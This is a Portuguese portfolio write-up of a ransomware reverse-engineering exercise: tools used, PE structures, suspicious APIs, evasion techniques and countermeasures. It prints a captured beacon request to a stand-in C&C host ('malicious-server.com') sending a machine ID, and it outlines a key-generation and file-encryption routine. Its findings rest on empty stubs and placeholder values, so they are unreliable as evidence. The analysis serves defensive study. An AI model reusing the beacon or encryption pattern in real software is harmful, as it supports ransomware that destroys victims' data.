Leandro Gabriel

Portfólio
20:48:28
📍 Goiânia, BR
🌙
Work

Reverse Engineering: Análise de Malware Ransomware

March 10, 2024
Este write-up documenta a análise completa de um ransomware através de técnicas de engenharia reversa. O objetivo era entender o funcionamento interno do malware e desenvolver contramedidas eficazes.
  • VMware Workstation: Máquina virtual isolada
  • Windows 10: Sistema operacional alvo
  • Process Monitor: Monitoramento de atividades do sistema
  • Wireshark: Análise de tráfego de rede
  • IDA Pro: Análise estática de código
  • PE Explorer: Análise de headers PE
  • Process Hacker: Monitoramento de processos
  • Regshot: Comparação de registros
  • x64dbg: Debugger dinâmico
  • CFF Explorer: Análise de recursos
C
// Estrutura do executável
typedef struct _IMAGE_DOS_HEADER {
    WORD e_magic;      // 0x5A4D (MZ)
    WORD e_cblp;       // Bytes na última página
    WORD e_cp;         // Páginas no arquivo
    WORD e_crlc;       // Relocações
    WORD e_cparhdr;    // Tamanho do header
    WORD e_minalloc;   // Mínimo de alocação
    WORD e_maxalloc;   // Máximo de alocação
    WORD e_ss;         // Segmento inicial
    WORD e_sp;         // Stack pointer
    WORD e_csum;       // Checksum
    WORD e_ip;         // Instruction pointer
    WORD e_cs;         // Segmento de código
    WORD e_lfarlc;     // Offset da tabela de relocação
    WORD e_ovno;       // Número de overlays
} IMAGE_DOS_HEADER;
Bash
# Extração de strings suspeitas
strings malware.exe | grep -i "encrypt\|decrypt\|key\|ransom"
C
// APIs suspeitas identificadas
KERNEL32.dll:
  - CreateFileA
  - WriteFile
  - DeleteFileA
  - SetFileAttributesA

CRYPT32.dll:
  - CryptEncrypt
  - CryptDecrypt
  - CryptGenKey
C
// Atividades monitoradas
- Criação de arquivos temporários
- Modificação de registros do Windows
- Comunicação com C&C server
- Criptografia de arquivos
Bash
# Tráfego de rede capturado
GET /api/encrypt HTTP/1.1
Host: malicious-server.com
User-Agent: Mozilla/5.0
Content-Type: application/json

{
  "machine_id": "ABC123",
  "timestamp": "2024-03-10T15:30:00Z"
}
C
// Estruturas de dados identificadas
typedef struct _ENCRYPTION_KEY {
    BYTE key[32];
    BYTE iv[16];
    DWORD algorithm;
} ENCRYPTION_KEY;

typedef struct _FILE_INFO {
    char filename[MAX_PATH];
    DWORD original_size;
    DWORD encrypted_size;
    BYTE signature[16];
} FILE_INFO;
C
// Técnicas anti-debug identificadas
- IsDebuggerPresent()
- CheckRemoteDebuggerPresent()
- NtQueryInformationProcess()
- Timing checks
C
// Detecção de ambiente virtual
- Registry checks
- Hardware fingerprinting
- Network adapter analysis
- Process enumeration
C
// Técnicas anti-análise
- String obfuscation
- Code packing
- API hooking
- Process injection
C
// Algoritmo de geração de chave
void generate_key() {
    HCRYPTPROV hProv;
    HCRYPTKEY hKey;
    
    CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0);
    CryptGenKey(hProv, CALG_AES_256, CRYPT_EXPORTABLE, &hKey);
}
C
// Algoritmo de criptografia
void encrypt_file(const char* filename) {
    // 1. Abrir arquivo original
    // 2. Ler dados
    // 3. Criptografar com AES-256
    // 4. Escrever arquivo criptografado
    // 5. Deletar arquivo original
}
C
// Decryptor desenvolvido
void decrypt_file(const char* filename, const BYTE* key) {
    // Implementação do decriptador
    // Baseado na análise do algoritmo
}
C
// Regras de detecção
- YARA rules
- Snort signatures
- SIEM correlation
C
// Medidas preventivas
- Backup regular
- Antivirus atualizado
- Firewall configurado
- User awareness training
  • Algoritmo identificado: AES-256-CBC
  • C&C server mapeado: IP e domínio identificados
  • Decryptor desenvolvido: Recuperação de arquivos possível
  • IOCs documentados: Indicadores de comprometimento
  • Contramedidas implementadas: Prevenção e detecção
  1. Importância da Análise: Entender o funcionamento interno
  2. Técnicas de Evasão: Como malware tenta evitar detecção
  3. Análise de Rede: Comunicação com servidores externos
  4. Desenvolvimento de Contramedidas: Criar soluções eficazes
  • Análise Regular: Manter ambiente de análise atualizado
  • Treinamento: Capacitação da equipe de segurança
  • Automação: Implementar análise automatizada
  • Colaboração: Compartilhar IOCs com a comunidade
Esta análise demonstra a importância da engenharia reversa para entender ameaças cibernéticas. O conhecimento adquirido permite desenvolver contramedidas eficazes e melhorar a postura de segurança da organização.
On this page